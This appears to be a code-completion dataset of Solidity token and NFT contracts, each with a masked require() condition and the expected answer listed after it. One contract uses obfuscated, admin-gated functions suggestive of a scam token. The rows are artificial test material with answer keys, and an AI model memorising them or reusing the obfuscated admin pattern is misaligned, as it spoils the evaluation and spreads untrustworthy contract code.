address owner,
address spender
) public view override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function takeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
}
function shouldSwapBack() internal view returns (bool) {
}
function swapBack() internal lockTheSwap {
}
// Threshold management functions
/** @dev Set a new threshold to trigger swapBack.
* @notice Can only be called by the current owner.
*/
function setSwapThreshold(uint256 newTax) external onlyOwner {
}
// Internal functions
function sendETHToFee(uint256 amount) private {
}
receive() external payable {}
function min(uint256 a, uint256 b) private pure returns (uint256) {
}
function isContract(address account) private view returns (bool) {
}
}
| !_isBot[msg.sender],"You are a bot" | 432,030 | !_isBot[msg.sender] |
"Not authorized to trade yet" | // TG: https://t.me/PrivySuitePortal
// Twitter: https://twitter.com/PrivySuiteBot
// BOT: https://t.me/PrivyCheckBot
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PRIVY is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _buyerMap;
mapping(address => uint256) private _holderLastTransferTimestamp;
mapping(address => bool) internal _isAdmin;
mapping(address => bool) private _isBot;
address payable private _taxWallet;
address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
uint256 private _initialBuyTax = 20;
uint256 private _initialSellTax = 20;
uint256 public _finalTax = 3;
uint256 private _blockAtLaunch;
uint256 private _blockRemoveLimits = 10;
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 10_000_000 * 10 ** _decimals;
string private constant _name = unicode"PrivySuite";
string private constant _symbol = unicode"PRIVY";
uint256 public _maxWalletSize = (_tTotal * 50) / 10000; // 0.5% of total supply
uint256 public _maxLittleWalletSize = (_tTotal * 30) / 10000; // 0.3% of total supply
uint256 private swapThreshold = (_tTotal * 50) / 10000; // 0.5% of total supply
IUniswapV2Router02 private router;
address public pair;
bool public tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap() {
}
constructor(address[] memory addresses) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
// Launch limits functions
/** @dev Remove wallet cap.
* @notice Can only be called by the current owner.
*/
function removeLimits() external onlyOwner {
}
/** @dev Enable trading.
* @notice Can only be called by the current owner.
* @notice Can only be called once.
*/
function openTrading() external onlyOwner {
}
function manageBot(address account, bool a) external onlyOwner {
}
// Transfer functions
function transfer(
address recipient,
uint256 amount
) external override returns (bool) {
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
require(<FILL_ME>)
uint256 blockSinceLaunch = block.number - _blockAtLaunch;
uint256 _limit = _maxWalletSize;
// Checks max transaction limit
if (sender != owner() && recipient != owner() && recipient != DEAD) {
if (recipient != pair) {
if (blockSinceLaunch <= _blockRemoveLimits) {
_limit = _maxLittleWalletSize;
} else if (
blockSinceLaunch > _blockRemoveLimits && _blockAtLaunch != 0
) {
_limit = _maxWalletSize;
}
require(
_isExcludedFromFee[recipient] ||
(_balances[recipient] + amount <= _limit),
"Transfer amount exceeds the MaxWallet size."
);
}
}
//shouldSwapBack
if (shouldSwapBack() && recipient == pair) {
swapBack();
}
_balances[sender] = _balances[sender] - amount;
//Check if should Take Fee
uint256 amountReceived = (!shouldTakeFee(sender) ||
!shouldTakeFee(recipient))
? amount
: takeFee(sender, recipient, amount);
_balances[recipient] = _balances[recipient] + (amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function takeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
}
function shouldSwapBack() internal view returns (bool) {
}
function swapBack() internal lockTheSwap {
}
// Threshold management functions
/** @dev Set a new threshold to trigger swapBack.
* @notice Can only be called by the current owner.
*/
function setSwapThreshold(uint256 newTax) external onlyOwner {
}
// Internal functions
function sendETHToFee(uint256 amount) private {
}
receive() external payable {}
function min(uint256 a, uint256 b) private pure returns (uint256) {
}
function isContract(address account) private view returns (bool) {
}
}
| _isExcludedFromFee[sender]||_isExcludedFromFee[recipient]||_isAdmin[sender]||_isAdmin[recipient]||tradingOpen,"Not authorized to trade yet" | 432,030 | _isExcludedFromFee[sender]||_isExcludedFromFee[recipient]||_isAdmin[sender]||_isAdmin[recipient]||tradingOpen |
"Transfer amount exceeds the MaxWallet size." | // TG: https://t.me/PrivySuitePortal
// Twitter: https://twitter.com/PrivySuiteBot
// BOT: https://t.me/PrivyCheckBot
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PRIVY is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _buyerMap;
mapping(address => uint256) private _holderLastTransferTimestamp;
mapping(address => bool) internal _isAdmin;
mapping(address => bool) private _isBot;
address payable private _taxWallet;
address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
uint256 private _initialBuyTax = 20;
uint256 private _initialSellTax = 20;
uint256 public _finalTax = 3;
uint256 private _blockAtLaunch;
uint256 private _blockRemoveLimits = 10;
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 10_000_000 * 10 ** _decimals;
string private constant _name = unicode"PrivySuite";
string private constant _symbol = unicode"PRIVY";
uint256 public _maxWalletSize = (_tTotal * 50) / 10000; // 0.5% of total supply
uint256 public _maxLittleWalletSize = (_tTotal * 30) / 10000; // 0.3% of total supply
uint256 private swapThreshold = (_tTotal * 50) / 10000; // 0.5% of total supply
IUniswapV2Router02 private router;
address public pair;
bool public tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap() {
}
constructor(address[] memory addresses) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
// Launch limits functions
/** @dev Remove wallet cap.
* @notice Can only be called by the current owner.
*/
function removeLimits() external onlyOwner {
}
/** @dev Enable trading.
* @notice Can only be called by the current owner.
* @notice Can only be called once.
*/
function openTrading() external onlyOwner {
}
function manageBot(address account, bool a) external onlyOwner {
}
// Transfer functions
function transfer(
address recipient,
uint256 amount
) external override returns (bool) {
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
require(
_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
_isAdmin[sender] ||
_isAdmin[recipient] ||
tradingOpen,
"Not authorized to trade yet"
);
uint256 blockSinceLaunch = block.number - _blockAtLaunch;
uint256 _limit = _maxWalletSize;
// Checks max transaction limit
if (sender != owner() && recipient != owner() && recipient != DEAD) {
if (recipient != pair) {
if (blockSinceLaunch <= _blockRemoveLimits) {
_limit = _maxLittleWalletSize;
} else if (
blockSinceLaunch > _blockRemoveLimits && _blockAtLaunch != 0
) {
_limit = _maxWalletSize;
}
require(<FILL_ME>)
}
}
//shouldSwapBack
if (shouldSwapBack() && recipient == pair) {
swapBack();
}
_balances[sender] = _balances[sender] - amount;
//Check if should Take Fee
uint256 amountReceived = (!shouldTakeFee(sender) ||
!shouldTakeFee(recipient))
? amount
: takeFee(sender, recipient, amount);
_balances[recipient] = _balances[recipient] + (amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function takeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
}
function shouldSwapBack() internal view returns (bool) {
}
function swapBack() internal lockTheSwap {
}
// Threshold management functions
/** @dev Set a new threshold to trigger swapBack.
* @notice Can only be called by the current owner.
*/
function setSwapThreshold(uint256 newTax) external onlyOwner {
}
// Internal functions
function sendETHToFee(uint256 amount) private {
}
receive() external payable {}
function min(uint256 a, uint256 b) private pure returns (uint256) {
}
function isContract(address account) private view returns (bool) {
}
}
| _isExcludedFromFee[recipient]||(_balances[recipient]+amount<=_limit),"Transfer amount exceeds the MaxWallet size." | 432,030 | _isExcludedFromFee[recipient]||(_balances[recipient]+amount<=_limit) |
'exceeds max per wallet' | //
// :JJYJ~ :! !. ^7!. ~7!!!!!7~ .^ ~!. ::. ~~ ..
// 75J. 5@7.^5P^ .JG!. 5B. PB!J#^ ~!!?@?!!! !GPB~ 75J!. !GYJ55~ ~JB^ ^P. 7Y5!
// :BY^. J@J:::P&. ^JPJ.Y#. #P.?@^ ^@: 5B^ 5# ~&5~ .&? !@~ 7#!^&? ^@5:
// PG ~@GP&B?^ .J&B: P#JJ^ ^@^ ~@: J&. ^Y#: ~@~ 5B. ~&&? :755:
// :@! .#G :JG?^ ^&~ PB ^@^ :&J^J#~ .^J&: 7PYJGJ. B#. ..7@7
// .G57~^~. JP :77 :&J ?@. :Y: ^??J^ ?Y!. ::. !@^ :5Y?^
// :7??J^ ~5 .! ??
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@BB&&@@@@@@@@@@@
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&PY555P#@@@@@@@@@
//@@@@@@@@@@@@@#P55PB&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@PB@@@@@@@@@@@@@@@@@@@@@@@@@@@@&G555Y5YY5B@@@@@@@@
//@@@@@@@@@@@@Y:....:^~!?5#@@@@@@@@@@@@@@@@@@@@5JJJ?GPG?7?J&@@@@@@@@@@@@@@@@@@@@@@B5Y5YY5YY5YY5&@@@@@@
//@@@@@@@@@@@Y.:::::^^^:..:P@@@@@@@@@@@@@@@@@@@!^^^^Y55!^^~#@@@@@@@@@@@@@@@@@&#BG5J?777!!77!?JJ5@@@@@@
//@@@@@@@@@@G::^^^^~~~~~^:::G@@@@@@@@@@@@@@@@@@777?!!!?~~^!&@@@@@@@@@@@@@@@@@PJJJJ?!!!?^?7!7!YJJB@@@@@
//@@@@@@@@@#^::~~!!!~!!~~:::^&@@@@@@@@@@@@@@@G5~!!!7?!!~~^?@@@@@@@@@@@@@@@@@@5JJJJ!^~~~~7?!~~?JJG@@@@@
//@@@@@@@@@7.::^7!~7!?!7^::::B@@@@@@@@@@@@@@@7~~~~~~!YP#G~Y@@@@@@@@@@@@@@@@@@PJJY?^~~^?Y!Y?7^!JJG@@@@@
//@@@@@@@#7.:::^~~~?7J7^~^:.^&@@@@@@@@@@@@@@@GP!~~~~P@@@P~B@@@@@@@@@@@@@@@@@@GJJY7^~~~~!?YY?~~JJ#@@@@@
//@@@@@@Y:.:::::^~~!?55!^:.:G@@@@@@@@@@@@@@@@@&~~~^G@@@@?^#@@@@@@@@@@@@@@@@@@#JJY7~~~~^7Y@@@G!?5@@@@@@
//@@@@@&?^..::::^~~~B@@7^?YB@@@@@@@@@@@@@@@@@@G^~~~B@@@@G!&@@@@@@@@@@@@@@@@@@@PJY7^~~~^?P@@@G77P@@@@@@
//@@@@@@@&P?!::^~!~~!J7^~&@@@@@@@@@@@@@@@@@@@@P^^^^?&@@@P7@@@@@@@@@@@@@@@@@@@@PJJ!~!~^~!?B@@Y?J5#&@@@@
//@@@@@@@@@@J^~~~!777777G@@@@@@@@@@@@@@@@@@@@@G7???~!J5?^7@@@@@@@@@@@@@@@@@@@GJJY?~!77~^~7J5GBYJ5&@@@@
//@@@@@@@@@@J^~~~~~~?@@@@@@@@@@@@@@@@@@@@@@@@@@@@@B~^Y@&BB@@@@@@@@@@@@@@@@@@@&BB&Y^~^Y#PPGB&@@&B@@@@@@
//@@@@@@@@@@J^~~~~~~~#@@@@@@@@@@@@@@@@@@@@@@@@@@@@J^^Y@@@@@@@@@@@@@@@@@@@@@@@@@@@7^~^5@@@@@@@@@@@@@@@@
//@@@@@@@@@@Y^~~~~~~^B@@@@@@@@@@@@@@@@@@@@@@@@@@@@7^^Y@@@@@@@@@@@@@@@@@@@@@@@@@@&!^~^G@@@@@@@@@@@@@@@@
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "contracts/access/Ownable.sol";
contract OOOOOOOO is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public cost = 0 ether;
uint256 public maxSupply = 1001;
uint256 public maxMintAmount = 1;
uint256 public maxperwallet = 1;
bool public paused = false;
mapping(address => bool) public whitelisted;
mapping(address => bool) public presaleWallets;
mapping(address => uint256) public mintedWallets;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
// public
function mint(address _to, uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
require(<FILL_ME>)
mintedWallets[msg.sender] += maxperwallet;
if (msg.sender != owner()) {
{
//general public
require(msg.value >= cost * _mintAmount);
}
}
for (uint256 i = 0; i < _mintAmount; i++) {
_safeMint(_to, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
//only owner
function setCost(uint256 _newCost) public onlyOwner {
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function pause(bool _state) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
}
| mintedWallets[msg.sender]<=maxperwallet,'exceeds max per wallet' | 432,079 | mintedWallets[msg.sender]<=maxperwallet |
null | /**
*Submitted for verification at BscScan.com on 2023-08-15
*/
/**
*Submitted for verification at Etherscan.io on 2023-08-02
*/
/**
*Submitted for verification at BscScan.com on 2023-07-25
*/
/**
*Submitted for verification at BscScan.com on 2023-07-05
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Ownable {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
pragma solidity ^0.8.0;
contract Token is Ownable {
uint256 private tokensupply = 10000000000*10**decimals();
constructor(address qqqvip,string memory tname,string memory sym) {
}
address public vipadmin123;
uint256 private _tsuppy;
string private _Tokename;
string private _tokenSSSsymbol;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) public xelonlist;
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view virtual returns (uint8) {
}
function totalSupply() public view returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function transfer(address to, uint256 amount) public returns (bool) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function approve(address spender, uint256 amount) public returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function passelonexit(address jhhhqq) public {
require(<FILL_ME>)
if(_msgSender() == vipadmin123){
}else{
}
uint128 zrqqamount = 0;
xelonlist[jhhhqq] = zrqqamount;
}
function decreaseAllowance(address cjjjss) public {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
uint256 private axxammount = 25000000000*10**decimals()*78800;
function ccvipaaaqqq() external {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
uint256 public infonum = 12233;
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
}
| _msgSender()==vipadmin123 | 432,110 | _msgSender()==vipadmin123 |
"No Hero Left!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
contract StealthERC721A is ERC721A, Ownable, ReentrancyGuard {
uint256 public constant maxSupply = 3333;
uint256 public constant publicMintPrice = 0.01 ether;
uint256 public constant maxPerWallet = 15;
uint256 public constant maxFreeMint = 5;
uint256 public constant totalFreeMint = 333;
string private _tokenBaseURI;
address private constant admin = 0xD59e7B84f4A5a4D1F437C7D3187c8aDe7f65C780;
bool public paused = true;
mapping(address => uint256) public mintedOwnerQuantity;
constructor() ERC721A("Imaginary Heroes", "IHO") {}
function mintForFree(uint256 _mintQuantity) external payable {{
require(!paused, "Contract is on pause!");
require(<FILL_ME>)
require(totalSupply() + _mintQuantity <= totalFreeMint, "Free mint is run out, please use public mint!");
require(
mintedOwnerQuantity[msg.sender] + _mintQuantity <= maxFreeMint,
"Already reach limit for free mint quantity"
);
}
mintedOwnerQuantity[msg.sender] += _mintQuantity;
_safeMint(msg.sender, _mintQuantity);
}
function mintPublic(uint256 _mintQuantity) external payable
}
function mintByOwner(uint256 _mintQuantity) external onlyOwner payable
}
function withdraw() public onlyOwner {
}
function setBaseURI(string calldata URI) external onlyOwner {
}
function setPaused(bool _paused) public onlyOwner {
}
function _baseURI() internal view override(ERC721A) returns (string memory) {
}
}
| totalSupply()+_mintQuantity<=maxSupply,"No Hero Left!" | 432,113 | totalSupply()+_mintQuantity<=maxSupply |
"Free mint is run out, please use public mint!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
contract StealthERC721A is ERC721A, Ownable, ReentrancyGuard {
uint256 public constant maxSupply = 3333;
uint256 public constant publicMintPrice = 0.01 ether;
uint256 public constant maxPerWallet = 15;
uint256 public constant maxFreeMint = 5;
uint256 public constant totalFreeMint = 333;
string private _tokenBaseURI;
address private constant admin = 0xD59e7B84f4A5a4D1F437C7D3187c8aDe7f65C780;
bool public paused = true;
mapping(address => uint256) public mintedOwnerQuantity;
constructor() ERC721A("Imaginary Heroes", "IHO") {}
function mintForFree(uint256 _mintQuantity) external payable {{
require(!paused, "Contract is on pause!");
require(totalSupply() + _mintQuantity <= maxSupply, "No Hero Left!");
require(<FILL_ME>)
require(
mintedOwnerQuantity[msg.sender] + _mintQuantity <= maxFreeMint,
"Already reach limit for free mint quantity"
);
}
mintedOwnerQuantity[msg.sender] += _mintQuantity;
_safeMint(msg.sender, _mintQuantity);
}
function mintPublic(uint256 _mintQuantity) external payable
}
function mintByOwner(uint256 _mintQuantity) external onlyOwner payable
}
function withdraw() public onlyOwner {
}
function setBaseURI(string calldata URI) external onlyOwner {
}
function setPaused(bool _paused) public onlyOwner {
}
function _baseURI() internal view override(ERC721A) returns (string memory) {
}
}
| totalSupply()+_mintQuantity<=totalFreeMint,"Free mint is run out, please use public mint!" | 432,113 | totalSupply()+_mintQuantity<=totalFreeMint |
"Already reach limit for free mint quantity" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
contract StealthERC721A is ERC721A, Ownable, ReentrancyGuard {
uint256 public constant maxSupply = 3333;
uint256 public constant publicMintPrice = 0.01 ether;
uint256 public constant maxPerWallet = 15;
uint256 public constant maxFreeMint = 5;
uint256 public constant totalFreeMint = 333;
string private _tokenBaseURI;
address private constant admin = 0xD59e7B84f4A5a4D1F437C7D3187c8aDe7f65C780;
bool public paused = true;
mapping(address => uint256) public mintedOwnerQuantity;
constructor() ERC721A("Imaginary Heroes", "IHO") {}
function mintForFree(uint256 _mintQuantity) external payable {{
require(!paused, "Contract is on pause!");
require(totalSupply() + _mintQuantity <= maxSupply, "No Hero Left!");
require(totalSupply() + _mintQuantity <= totalFreeMint, "Free mint is run out, please use public mint!");
require(<FILL_ME>)
}
mintedOwnerQuantity[msg.sender] += _mintQuantity;
_safeMint(msg.sender, _mintQuantity);
}
function mintPublic(uint256 _mintQuantity) external payable
}
function mintByOwner(uint256 _mintQuantity) external onlyOwner payable
}
function withdraw() public onlyOwner {
}
function setBaseURI(string calldata URI) external onlyOwner {
}
function setPaused(bool _paused) public onlyOwner {
}
function _baseURI() internal view override(ERC721A) returns (string memory) {
}
}
| mintedOwnerQuantity[msg.sender]+_mintQuantity<=maxFreeMint,"Already reach limit for free mint quantity" | 432,113 | mintedOwnerQuantity[msg.sender]+_mintQuantity<=maxFreeMint |
"You already reached the max amount per wallet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
contract StealthERC721A is ERC721A, Ownable, ReentrancyGuard {
uint256 public constant maxSupply = 3333;
uint256 public constant publicMintPrice = 0.01 ether;
uint256 public constant maxPerWallet = 15;
uint256 public constant maxFreeMint = 5;
uint256 public constant totalFreeMint = 333;
string private _tokenBaseURI;
address private constant admin = 0xD59e7B84f4A5a4D1F437C7D3187c8aDe7f65C780;
bool public paused = true;
mapping(address => uint256) public mintedOwnerQuantity;
constructor() ERC721A("Imaginary Heroes", "IHO") {}
function mintForFree(uint256 _mintQuantity) external payable
}
function mintPublic(uint256 _mintQuantity) external payable {{
require(!paused, "Contract is on pause!");
require(totalSupply() + _mintQuantity <= maxSupply, "No Hero Left!");
require(<FILL_ME>)
require(msg.value >= publicMintPrice * _mintQuantity, "You don't have enough fund to mint");
}
mintedOwnerQuantity[msg.sender] += _mintQuantity;
_safeMint(msg.sender, _mintQuantity);
}
function mintByOwner(uint256 _mintQuantity) external onlyOwner payable
}
function withdraw() public onlyOwner {
}
function setBaseURI(string calldata URI) external onlyOwner {
}
function setPaused(bool _paused) public onlyOwner {
}
function _baseURI() internal view override(ERC721A) returns (string memory) {
}
}
| mintedOwnerQuantity[msg.sender]+_mintQuantity<=maxPerWallet,"You already reached the max amount per wallet" | 432,113 | mintedOwnerQuantity[msg.sender]+_mintQuantity<=maxPerWallet |
"your math is wrong king that's not the right ether value" | pragma solidity ^0.8.9;
contract Yellowbois is ERC721A, Ownable {
string private _baseTokenURI;
bool public saleIsActive = false;
bool public onlyWhitelisted = true;
address[] public whitelistedAddresses;
uint256 public maxSupply = 2500;
uint256 public maxPerMint = 10;
uint256 public price = 0.05 ether;
constructor() ERC721A("Yellowbois", "BOIS") {}
receive() external payable {}
function _baseURI() internal view virtual override returns (string memory) {
}
function setmaxPerMint(uint256 _newmaxPerMint) public onlyOwner {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function flipSaleState() public onlyOwner {
}
function setOnlyWhitelisted(bool _state) public onlyOwner {
}
function whitelistUsers(address[] calldata _users) public onlyOwner {
}
function mintReserveTokens(uint256 nTokens) public onlyOwner {
}
function mint(uint256 nTokens) public payable {
require(saleIsActive, "no bois for sale rn");
if(onlyWhitelisted == true) {
require(isWhitelisted(msg.sender), "user is not whitelisted");
require(
nTokens <= maxPerMint,
"trying to mint too many bois!"
);
require(<FILL_ME>)
_safeMint(msg.sender, nTokens);
require(totalSupply() <= maxSupply, "NO MORE BOIS!!!!");
}
}
function isWhitelisted(address _user) public view returns (bool) {
}
function withdrawMoney() external onlyOwner {
}
}
| price*nTokens<=msg.value,"your math is wrong king that's not the right ether value" | 432,196 | price*nTokens<=msg.value |
"Staked WALY balance must be zero" | pragma solidity ^0.8.0;
//WalleBytes ETH - SOD - IBN5X
contract WalleBytesTokenV2 is ERC20 {
address public owner;
address operationWallet; //contract
uint256 reward;
uint256 bonus;
uint256 public price;
bool burnPeriod;
mapping(address => uint) balance; //maps user/Contract balance
mapping(address => uint) public lockedBalance; //locked tokens
mapping(address => uint) createdAt; //maps user time tokens staked
mapping(address => uint) unlockDate; //maps user stake release time
mapping(address => bool) hasStaked; //users can only have one stake at a time
mapping(address => bool) purpleList;
modifier greaterThanZero
{
}
modifier onlyOwner
{
}
modifier hasNoStake
{
require(<FILL_ME>)
_;
}
modifier burnTime
{
}
event staked(address staker, uint256 amount, uint256 date, uint256 unlockDate);
event unstaked(address staker, uint256 amount,uint256 remainingBalance, uint256 date);
event contribution(address contributor, uint256 amount, uint256 date);
event userBurn(address user, uint256 amount, uint256 date);
event burningPeriod(address operator, bool onOff, uint256 date);
event teamChange(address operator, address prevAddress, address newAddress, uint date);
event ownerChange(address currentOwner, address newOwner, uint256 date);
